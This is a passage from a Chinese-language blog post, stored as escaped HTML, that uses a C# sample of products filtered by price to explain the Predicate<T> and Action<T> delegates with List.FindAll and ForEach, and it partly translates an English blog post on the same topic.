#0000ff&quot;&gt;using&lt;/span&gt;&lt;span style=&quot;color: #000000&quot;&gt; System;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #008080&quot;&gt; 2&lt;/span&gt;&lt;span style=&quot;color: #000000&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #0000ff&quot;&gt;using&lt;/span&gt;&lt;span style=&quot;color: #000000&quot;&gt; System.Collections.Generic;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #008080&quot;&gt; 3&lt;/span&gt;&lt;span style=&quot;color: #000000&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #0000ff&quot;&gt;using&lt;/span&gt;&lt;span style=&quot;color: #000000&quot;&gt; System.Linq;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #008080&quot;&gt; 4&lt;/span&gt;&lt;span style=&quot;color: #000000&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #0000ff&quot;&gt;using&lt;/span&gt;&lt;span style=&quot;color: #000000&quot;&gt; System.Text;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #008080&quot;&gt; 5&lt;/span&gt;&lt;span style=&quot;color: #000000&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #008080&quot;&gt; 6&lt;/span&gt;&lt;span style=&quot;color: #000000&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #0000ff&quot;&gt;namespace&lt;/span&gt;&lt;span style=&quot;color: #000000&quot;&gt; SelectTest1&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #008080&quot;&gt; 7&lt;/span&gt;&lt;span style=&quot;color: #000000&quot;&gt;{&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #008080&quot;&gt; 8&lt;/span&gt;&lt;span style=&quot;color: #000000&quot;&gt;&lt;/span&gt;&lt;span style=&quot;color: #0000ff&quot;&gt;class&lt;/span&gt;&lt;span style=&quot;color: #000000&quot;&gt; Product&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #008080&quot;&gt; 9&lt;/span&gt;&lt;span style=&quot;color: #000000&quot;&gt;    {&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #008080&quot;&gt;10&lt;/span&gt;&lt;span style=&quot;color: #000000&quot;&gt;&lt;/span&gt;&lt;span style=&quot;color: #0000ff&quot;&gt;public&lt;/span&gt;&lt;span style=&quot;color: #000000&quot;&gt;&lt;/span&gt;&lt;span style=&quot;color: #0000ff&quot;&gt;string&lt;/span&gt;&lt;span style=&quot;color: #000000&quot;&gt; Name { &lt;/span&gt;&lt;span style=&quot;color: #0000ff&quot;&gt;get&lt;/span&gt;&lt;span style=&quot;color: #000000&quot;&gt;; &lt;/span&gt;&lt;span style=&quot;color: #0000ff&quot;&gt;private&lt;/span&gt;&lt;span style=&quot;color: #000000&quot;&gt;&lt;/span&gt;&lt;span style=&quot;color: #0000ff&quot;&gt;set&lt;/span&gt;&lt;span style=&quot;color: #000000&quot;&gt;; }&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #008080&quot;&gt;11&lt;/span&gt;&lt;span style=&quot;color: #000000&quot;&gt;&lt;/span&gt;&lt;span style=&quot;color: #0000ff&quot;&gt;public&lt;/span&gt;&lt;span style=&quot;color: #000000&quot;&gt;&lt;/span&gt;&lt;span style=&quot;color: #0000ff&quot;&gt;decimal&lt;/span&gt;&lt;span style=&quot;color: #000000&quot;&gt; Price { &lt;/span&gt;&lt;span style=&quot;color: #0000ff&quot;&gt;get&lt;/span&gt;&lt;span style=&quot;color: #000000&quot;&gt;; &lt;/span&gt;&lt;span style=&quot;color: #0000ff&quot;&gt;private&lt;/span&gt;&lt;span style=&quot;color: #000000&quot;&gt;&lt;/span&gt;&lt;span style=&quot;color: #0000ff&quot;&gt;set&lt;/span&gt;&lt;span style=&quot;color: #000000&quot;&gt;; }&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #008080&quot;&gt;12&lt;/span&gt;&lt;span style=&quot;color: #000000&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #008080&quot;&gt;13&lt;/span&gt;&lt;span style=&quot;color: #000000&quot;&gt;&lt;/span&gt;&lt;span style=&quot;color: #0000ff&quot;&gt;public&lt;/span&gt;&lt;span style=&quot;color: #000000&quot;&gt; Product(&lt;/span&gt;&lt;span style=&quot;color: #0000ff&quot;&gt;string&lt;/span&gt;&lt;span style=&quot;color: #000000&quot;&gt; name, &lt;/span&gt;&lt;span style=&quot;color: #0000ff&quot;&gt;decimal&lt;/span&gt;&lt;span style=&quot;color: #000000&quot;&gt; price)&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #008080&quot;&gt;14&lt;/span&gt;&lt;span style=&quot;color: #000000&quot;&gt;        {&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #008080&quot;&gt;15&lt;/span&gt;&lt;span style=&quot;color: #000000&quot;&gt;            Name &lt;/span&gt;&lt;span style=&quot;color: #000000&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #000000&quot;&gt; name;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #008080&quot;&gt;16&lt;/span&gt;&lt;span style=&quot;color: #000000&quot;&gt;            Price &lt;/span&gt;&lt;span style=&quot;color: #000000&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #000000&quot;&gt; price;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #008080&quot;&gt;17&lt;/span&gt;&lt;span style=&quot;color: #000000&quot;&gt;        }&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #008080&quot;&gt;18&lt;/span&gt;&lt;span style=&quot;color: #000000&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #008080&quot;&gt;19&lt;/span&gt;&lt;span style=&quot;color: #000000&quot;&gt;&lt;/span&gt;&lt;span style=&quot;color: #0000ff&quot;&gt;public&lt;/span&gt;&lt;span style=&quot;color: #000000&quot;&gt; Product() { }&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #008080&quot;&gt;20&lt;/span&gt;&lt;span style=&quot;color: #000000&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #008080&quot;&gt;21&lt;/span&gt;&lt;span style=&quot;color: #000000&quot;&gt;&lt;/span&gt;&lt;span style=&quot;color: #0000ff&quot;&gt;public&lt;/span&gt;&lt;span style=&quot;color: #000000&quot;&gt;&lt;/span&gt;&lt;span style=&quot;color: #0000ff&quot;&gt;static&lt;/span&gt;&lt;span style=&quot;color: #000000&quot;&gt; List&lt;/span&gt;&lt;span style=&quot;color: #000000&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #000000&quot;&gt;Product&lt;/span&gt;&lt;span style=&quot;color: #000000&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;color: #000000&quot;&gt; GetSampleProduct()&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #008080&quot;&gt;22&lt;/span&gt;&lt;span style=&quot;color: #000000&quot;&gt;        {&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #008080&quot;&gt;23&lt;/span&gt;&lt;span style=&quot;color: #000000&quot;&gt;&lt;/span&gt;&lt;span style=&quot;color: #0000ff&quot;&gt;return&lt;/span&gt;&lt;span style=&quot;color: #000000&quot;&gt;&lt;/span&gt;&lt;span style=&quot;color: #0000ff&quot;&gt;new&lt;/span&gt;&lt;span style=&quot;color: #000000&quot;&gt; List&lt;/span&gt;&lt;span style=&quot;color: #000000&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #000000&quot;&gt;Product&lt;/span&gt;&lt;span style=&quot;color: #000000&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;color: #000000&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #008080&quot;&gt;24&lt;/span&gt;&lt;span style=&quot;color: #000000&quot;&gt;            {&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #008080&quot;&gt;25&lt;/span&gt;&lt;span style=&quot;color: #000000&quot;&gt;&lt;/span&gt;&lt;span style=&quot;color: #0000ff&quot;&gt;new&lt;/span&gt;&lt;span style=&quot;color: #000000&quot;&gt; Product{Name&lt;/span&gt;&lt;span style=&quot;color: #000000&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #800000&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span style=&quot;color: #800000&quot;&gt;Watch&lt;/span&gt;&lt;span style=&quot;color: #800000&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span style=&quot;color: #000000&quot;&gt;,Price&lt;/span&gt;&lt;span style=&quot;color: #000000&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #800080&quot;&gt;12345.56m&lt;/span&gt;&lt;span style=&quot;color: #000000&quot;&gt;},&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #008080&quot;&gt;26&lt;/span&gt;&lt;span style=&quot;color: #000000&quot;&gt;&lt;/span&gt;&lt;span style=&quot;color: #0000ff&quot;&gt;new&lt;/span&gt;&lt;span style=&quot;color: #000000&quot;&gt; Product{Name&lt;/span&gt;&lt;span style=&quot;color: #000000&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #800000&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span style=&quot;color: #800000&quot;&gt;Knife&lt;/span&gt;&lt;span style=&quot;color: #800000&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span style=&quot;color: #000000&quot;&gt;,Price&lt;/span&gt;&lt;span style=&quot;color: #000000&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #800080&quot;&gt;224.50m&lt;/span&gt;&lt;span style=&quot;color: #000000&quot;&gt;},&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #008080&quot;&gt;27&lt;/span&gt;&lt;span style=&quot;color: #000000&quot;&gt;&lt;/span&gt;&lt;span style=&quot;color: #0000ff&quot;&gt;new&lt;/span&gt;&lt;span style=&quot;color: #000000&quot;&gt; Product{Name&lt;/span&gt;&lt;span style=&quot;color: #000000&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #800000&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span style=&quot;color: #800000&quot;&gt;Rope&lt;/span&gt;&lt;span style=&quot;color: #800000&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span style=&quot;color: #000000&quot;&gt;,Price&lt;/span&gt;&lt;span style=&quot;color: #000000&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #800080&quot;&gt;12.50m&lt;/span&gt;&lt;span style=&quot;color: #000000&quot;&gt;},&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #008080&quot;&gt;28&lt;/span&gt;&lt;span style=&quot;color: #000000&quot;&gt;&lt;/span&gt;&lt;span style=&quot;color: #0000ff&quot;&gt;new&lt;/span&gt;&lt;span style=&quot;color: #000000&quot;&gt; Product{Name&lt;/span&gt;&lt;span style=&quot;color: #000000&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #800000&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span style=&quot;color: #800000&quot;&gt;ETorch&lt;/span&gt;&lt;span style=&quot;color: #800000&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span style=&quot;color: #000000&quot;&gt;,Price&lt;/span&gt;&lt;span style=&quot;color: #000000&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #800080&quot;&gt;5.5m&lt;/span&gt;&lt;span style=&quot;color: #000000&quot;&gt;}&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #008080&quot;&gt;29&lt;/span&gt;&lt;span style=&quot;color: #000000&quot;&gt;            };&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #008080&quot;&gt;30&lt;/span&gt;&lt;span style=&quot;color: #000000&quot;&gt;        }&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #008080&quot;&gt;31&lt;/span&gt;&lt;span style=&quot;color: #000000&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #008080&quot;&gt;32&lt;/span&gt;&lt;span style=&quot;color: #000000&quot;&gt;&lt;/span&gt;&lt;span style=&quot;color: #0000ff&quot;&gt;public&lt;/span&gt;&lt;span style=&quot;color: #000000&quot;&gt;&lt;/span&gt;&lt;span style=&quot;color: #0000ff&quot;&gt;override&lt;/span&gt;&lt;span style=&quot;color: #000000&quot;&gt;&lt;/span&gt;&lt;span style=&quot;color: #0000ff&quot;&gt;string&lt;/span&gt;&lt;span style=&quot;color: #000000&quot;&gt; ToString()&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #008080&quot;&gt;33&lt;/span&gt;&lt;span style=&quot;color: #000000&quot;&gt;        {&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #008080&quot;&gt;34&lt;/span&gt;&lt;span style=&quot;color: #000000&quot;&gt;&lt;/span&gt;&lt;span style=&quot;color: #0000ff&quot;&gt;return&lt;/span&gt;&lt;span style=&quot;color: #000000&quot;&gt;&lt;/span&gt;&lt;span style=&quot;color: #0000ff&quot;&gt;string&lt;/span&gt;&lt;span style=&quot;color: #000000&quot;&gt;.Format(&lt;/span&gt;&lt;span style=&quot;color: #800000&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span style=&quot;color: #800000&quot;&gt;{0} : {1}&lt;/span&gt;&lt;span style=&quot;color: #800000&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span style=&quot;color: #000000&quot;&gt;, Name, Price);&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #008080&quot;&gt;35&lt;/span&gt;&lt;span style=&quot;color: #000000&quot;&gt;        }&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #008080&quot;&gt;36&lt;/span&gt;&lt;span style=&quot;color: #000000&quot;&gt;    }&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #008080&quot;&gt;37&lt;/span&gt;&lt;span style=&quot;color: #000000&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #008080&quot;&gt;38&lt;/span&gt;&lt;span style=&quot;color: #000000&quot;&gt;&lt;/span&gt;&lt;span style=&quot;color: #0000ff&quot;&gt;class&lt;/span&gt;&lt;span style=&quot;color: #000000&quot;&gt; Program&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #008080&quot;&gt;39&lt;/span&gt;&lt;span style=&quot;color: #000000&quot;&gt;    {&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #008080&quot;&gt;40&lt;/span&gt;&lt;span style=&quot;color: #000000&quot;&gt;&lt;/span&gt;&lt;span style=&quot;color: #0000ff&quot;&gt;static&lt;/span&gt;&lt;span style=&quot;color: #000000&quot;&gt;&lt;/span&gt;&lt;span style=&quot;color: #0000ff&quot;&gt;void&lt;/span&gt;&lt;span style=&quot;color: #000000&quot;&gt; Main(&lt;/span&gt;&lt;span style=&quot;color: #0000ff&quot;&gt;string&lt;/span&gt;&lt;span style=&quot;color: #000000&quot;&gt;[] args)&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #008080&quot;&gt;41&lt;/span&gt;&lt;span style=&quot;color: #000000&quot;&gt;        {&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #008080&quot;&gt;42&lt;/span&gt;&lt;span style=&quot;color: #000000&quot;&gt;            List&lt;/span&gt;&lt;span style=&quot;color: #000000&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #000000&quot;&gt;Product&lt;/span&gt;&lt;span style=&quot;color: #000000&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;color: #000000&quot;&gt; ProductSample &lt;/span&gt;&lt;span style=&quot;color: #000000&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #000000&quot;&gt; Product.GetSampleProduct();&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #008080&quot;&gt;43&lt;/span&gt;&lt;span style=&quot;color: #000000&quot;&gt;&lt;/span&gt;&lt;span style=&quot;color: #0000ff&quot;&gt;foreach&lt;/span&gt;&lt;span style=&quot;color: #000000&quot;&gt; (Product tmp &lt;/span&gt;&lt;span style=&quot;color: #0000ff&quot;&gt;in&lt;/span&gt;&lt;span style=&quot;color: #000000&quot;&gt; ProductSample)&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #008080&quot;&gt;44&lt;/span&gt;&lt;span style=&quot;color: #000000&quot;&gt;            {&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #008080&quot;&gt;45&lt;/span&gt;&lt;span style=&quot;color: #000000&quot;&gt;                Console.WriteLine(tmp);&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #008080&quot;&gt;46&lt;/span&gt;&lt;span style=&quot;color: #000000&quot;&gt;            }&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #008080&quot;&gt;47&lt;/span&gt;&lt;span style=&quot;color: #000000&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #008080&quot;&gt;48&lt;/span&gt;&lt;span style=&quot;color: #000000&quot;&gt;            Console.WriteLine();&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #008080&quot;&gt;49&lt;/span&gt;&lt;span style=&quot;color: #000000&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #008080&quot;&gt;50&lt;/span&gt;&lt;span style=&quot;color: #000000&quot;&gt;            Predicate&lt;/span&gt;&lt;span style=&quot;color: #000000&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #000000&quot;&gt;Product&lt;/span&gt;&lt;span style=&quot;color: #000000&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;color: #000000&quot;&gt; test &lt;/span&gt;&lt;span style=&quot;color: #000000&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #000000&quot;&gt;&lt;/span&gt;&lt;span style=&quot;color: #0000ff&quot;&gt;delegate&lt;/span&gt;&lt;span style=&quot;color: #000000&quot;&gt;(Product p) { &lt;/span&gt;&lt;span style=&quot;color: #0000ff&quot;&gt;return&lt;/span&gt;&lt;span style=&quot;color: #000000&quot;&gt; p.Price &lt;/span&gt;&lt;span style=&quot;color: #000000&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;color: #000000&quot;&gt; 10m; };&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #008080&quot;&gt;51&lt;/span&gt;&lt;span style=&quot;color: #000000&quot;&gt;            List&lt;/span&gt;&lt;span style=&quot;color: #000000&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #000000&quot;&gt;Product&lt;/span&gt;&lt;span style=&quot;color: #000000&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;color: #000000&quot;&gt; matches &lt;/span&gt;&lt;span style=&quot;color: #000000&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #000000&quot;&gt; ProductSample.FindAll(test);&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #008080&quot;&gt;52&lt;/span&gt;&lt;span style=&quot;color: #000000&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #008080&quot;&gt;53&lt;/span&gt;&lt;span style=&quot;color: #000000&quot;&gt;            Action&lt;/span&gt;&lt;span style=&quot;color: #000000&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #000000&quot;&gt;Product&lt;/span&gt;&lt;span style=&quot;color: #000000&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;color: #000000&quot;&gt; print &lt;/span&gt;&lt;span style=&quot;color: #000000&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #000000&quot;&gt;&lt;/span&gt;&lt;span style=&quot;color: #0000ff&quot;&gt;delegate&lt;/span&gt;&lt;span style=&quot;color: #000000&quot;&gt;(Product p) { Console.WriteLine(p); };&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #008080&quot;&gt;54&lt;/span&gt;&lt;span style=&quot;color: #000000&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #008080&quot;&gt;55&lt;/span&gt;&lt;span style=&quot;color: #000000&quot;&gt;            matches.ForEach(print);&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #008080&quot;&gt;56&lt;/span&gt;&lt;span style=&quot;color: #000000&quot;&gt;        }&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #008080&quot;&gt;57&lt;/span&gt;&lt;span style=&quot;color: #000000&quot;&gt;    }&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #008080&quot;&gt;58&lt;/span&gt;&lt;span style=&quot;color: #000000&quot;&gt;}&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #008080&quot;&gt;59&lt;/span&gt;&lt;span style=&quot;color: #000000&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;p&gt;关键代码是：&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;p&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Predicate&amp;lt;Product&amp;gt; test = delegate(Product p) { return p.Price &amp;gt; 10m; };&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; List&amp;lt;Product&amp;gt; matches = ProductSample.FindAll(test);&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;p&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Action&amp;lt;Product&amp;gt; print = delegate(Product p) { Console.WriteLine(p); };&lt;/p&gt;&lt;p&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; matches.ForEach(print);&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;p&gt;什么是Predicate,Action 呢？？？？？这两个东西我很陌生。查MSDN!&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;p&gt;Predicate&amp;lt;T&amp;gt; 是一个委托，它代表了一个方法，它的定义是：&lt;/p&gt;&lt;div&gt;&lt;span style=&quot;color: #0000ff&quot;&gt;namespace&lt;/span&gt;&lt;span style=&quot;color: #000000&quot;&gt; System&lt;br /&gt;{ &lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #008000&quot;&gt;　　//&lt;/span&gt;&lt;span style=&quot;color: #008000&quot;&gt; 摘要: &lt;/span&gt;&lt;span style=&quot;color: #008000&quot;&gt;表示定义一组条件并确定指定对象是否符合这些条件的方法。&lt;/span&gt;&lt;span style=&quot;color: #008000&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #008000&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #008000&quot;&gt;　　//&lt;/span&gt;&lt;span style=&quot;color: #008000&quot;&gt; 参数: &lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #008000&quot;&gt;　　//&lt;/span&gt;&lt;span style=&quot;color: #008000&quot;&gt; obj: &lt;/span&gt;&lt;span style=&quot;color: #008000&quot;&gt;要按照由此委托表示的方法中定义的条件进行比较的对象。&lt;/span&gt;&lt;span style=&quot;color: #008000&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #008000&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #008000&quot;&gt;　　//&lt;/span&gt;&lt;span style=&quot;color: #008000&quot;&gt; 类型参数: &lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #008000&quot;&gt;　　//&lt;/span&gt;&lt;span style=&quot;color: #008000&quot;&gt; T: &lt;/span&gt;&lt;span style=&quot;color: #008000&quot;&gt;要比较的对象的类型。 &lt;/span&gt;&lt;span style=&quot;color: #008000&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #008000&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #008000&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #008000&quot;&gt;&lt;br /&gt;　　//&lt;/span&gt;&lt;span style=&quot;color: #008000&quot;&gt; 返回结果: &lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #008000&quot;&gt;　　//&lt;/span&gt;&lt;span style=&quot;color: #008000&quot;&gt; 如果 obj 符合由此委托表示的方法中定义的条件，则为 true；否则为 false。&lt;/span&gt;&lt;span style=&quot;color: #008000&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #000000&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #0000ff&quot;&gt;public&lt;/span&gt;&lt;span style=&quot;color: #000000&quot;&gt;&lt;/span&gt;&lt;span style=&quot;color: #0000ff&quot;&gt;delegate&lt;/span&gt;&lt;span style=&quot;color: #000000&quot;&gt;&lt;/span&gt;&lt;span style=&quot;color: #0000ff&quot;&gt;bool&lt;/span&gt;&lt;span style=&quot;color: #000000&quot;&gt; Predicate&lt;/span&gt;&lt;span style=&quot;color: #000000&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #000000&quot;&gt;T&lt;/span&gt;&lt;span style=&quot;color: #000000&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;color: #000000&quot;&gt;(T obj);&lt;br /&gt;}&lt;/span&gt;&lt;/div&gt;&lt;p&gt;这个委托常被好多Array , List&amp;lt;T&amp;gt; 类的方法所使用，用来查找集合中的元素。&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;p&gt;关于 Predicate,,跟 Action&amp;nbsp; 的进一步使用，可以参考 Adil Akhter 的博文 ：&lt;span style=&quot;color: #0000ff&quot;&gt;&lt;a href=&quot;http://weblogs.asp.net/adilakhter/archive/2008/04/16/using-predicate-amp-action-of-net2-0.aspx&quot; target=&quot;_blank&quot;&gt;&lt;u&gt;&lt;font color=&quot;#0066cc&quot;&gt;Using Predicate &amp;amp; Action of .Net2.0&lt;/font&gt;&lt;/u&gt;&lt;/a&gt;&lt;/span&gt; 。我看的时候简单翻译了一下：&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;p&gt;“自从我开始做软件开发以来，我就得一次又一次得面对这样的情况：不得不遍历整个集合然后对每个元素做一些处理，或者根据某一个逻辑规则来筛选出一些元素。一次从一次地写那些循环语句真是太讨厌了。&lt;/p&gt;&lt;p&gt;.NET 2.0 解决了这个问题，我们只需要告诉集合如何筛选，如何处理每个元素，然后它自己会处理重复的步骤。让我们来看一下System.Collections.Generic命名空间中的List&amp;lt;T&amp;gt;类，看看它提供了哪些支持：&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;http://blog.0734link.com/Attach/month_1102/lpe352_140610_3.png&quot; target=&quot;_blank&quot;&gt;&lt;img style=&quot;border-right-width: 0px; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px&quot; border=&quot;0&quot; alt=&quot;image&quot; src=&quot;http://blog.0734link.com/Attach/month_1102/cemdog_140614_4.png&quot; width=&quot;219&quot; height=&quot;788&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;p&gt;有大量的针对 查询，排序，筛选的支持方法。如果我们看一下我们经常说到的 FindAll 跟 ForEach :&lt;/p&gt;&lt;pre&gt;&lt;span style=&quot;color: blue&quot;&gt;public &lt;/span&gt;&lt;span style=&quot;color: #2b91af&quot;&gt;List&lt;/span&gt;&amp;lt;T&amp;gt; FindAll(&lt;span style=&quot;color: #2b91af&quot;&gt;Predicate&lt;/span&gt;&amp;lt;T&amp;gt; match);&lt;span style=&quot;color: blue&quot;&gt;public void &lt;/span&gt;ForEach(&lt;span style=&quot;color: #2b91af&quot;&gt;Action&lt;/span&gt;&amp;lt;T&amp;gt; action);&lt;/pre&gt;&lt;p&gt;会看到这儿的 Predicate 跟 Actor 是两个泛型委托，它们提供了一种方法，可以让我们灵活地对List中的每一个元素进行筛选或者执行某些处理。&lt;br /&gt;让我们深入观察一下这两个委托：&lt;/p&gt;&lt;h5&gt;Inside Predicate:&lt;/h5&gt;&lt;p&gt;Predicate 是一个泛型委托，它利用了.NET 2.0提供的泛型特性。它的定义是：&lt;/p&gt;&lt;pre&gt;&lt;span style=&quot;color: blue&quot;&gt;delegate bool &lt;/span&gt;&lt;span style=&quot;color: #2b91af&quot;&gt;Predicate&lt;/span&gt;&amp;lt;T&amp;gt;(T obj)&lt;/pre&gt;&lt;p&gt;如MSDN所定义, &lt;b&gt;Predicate&lt;/b&gt; -&lt;/p&gt;&lt;blockquote&gt;&lt;p&gt;&amp;quot;represents a method that defines a set of criteria and determines whether the specific object meets this 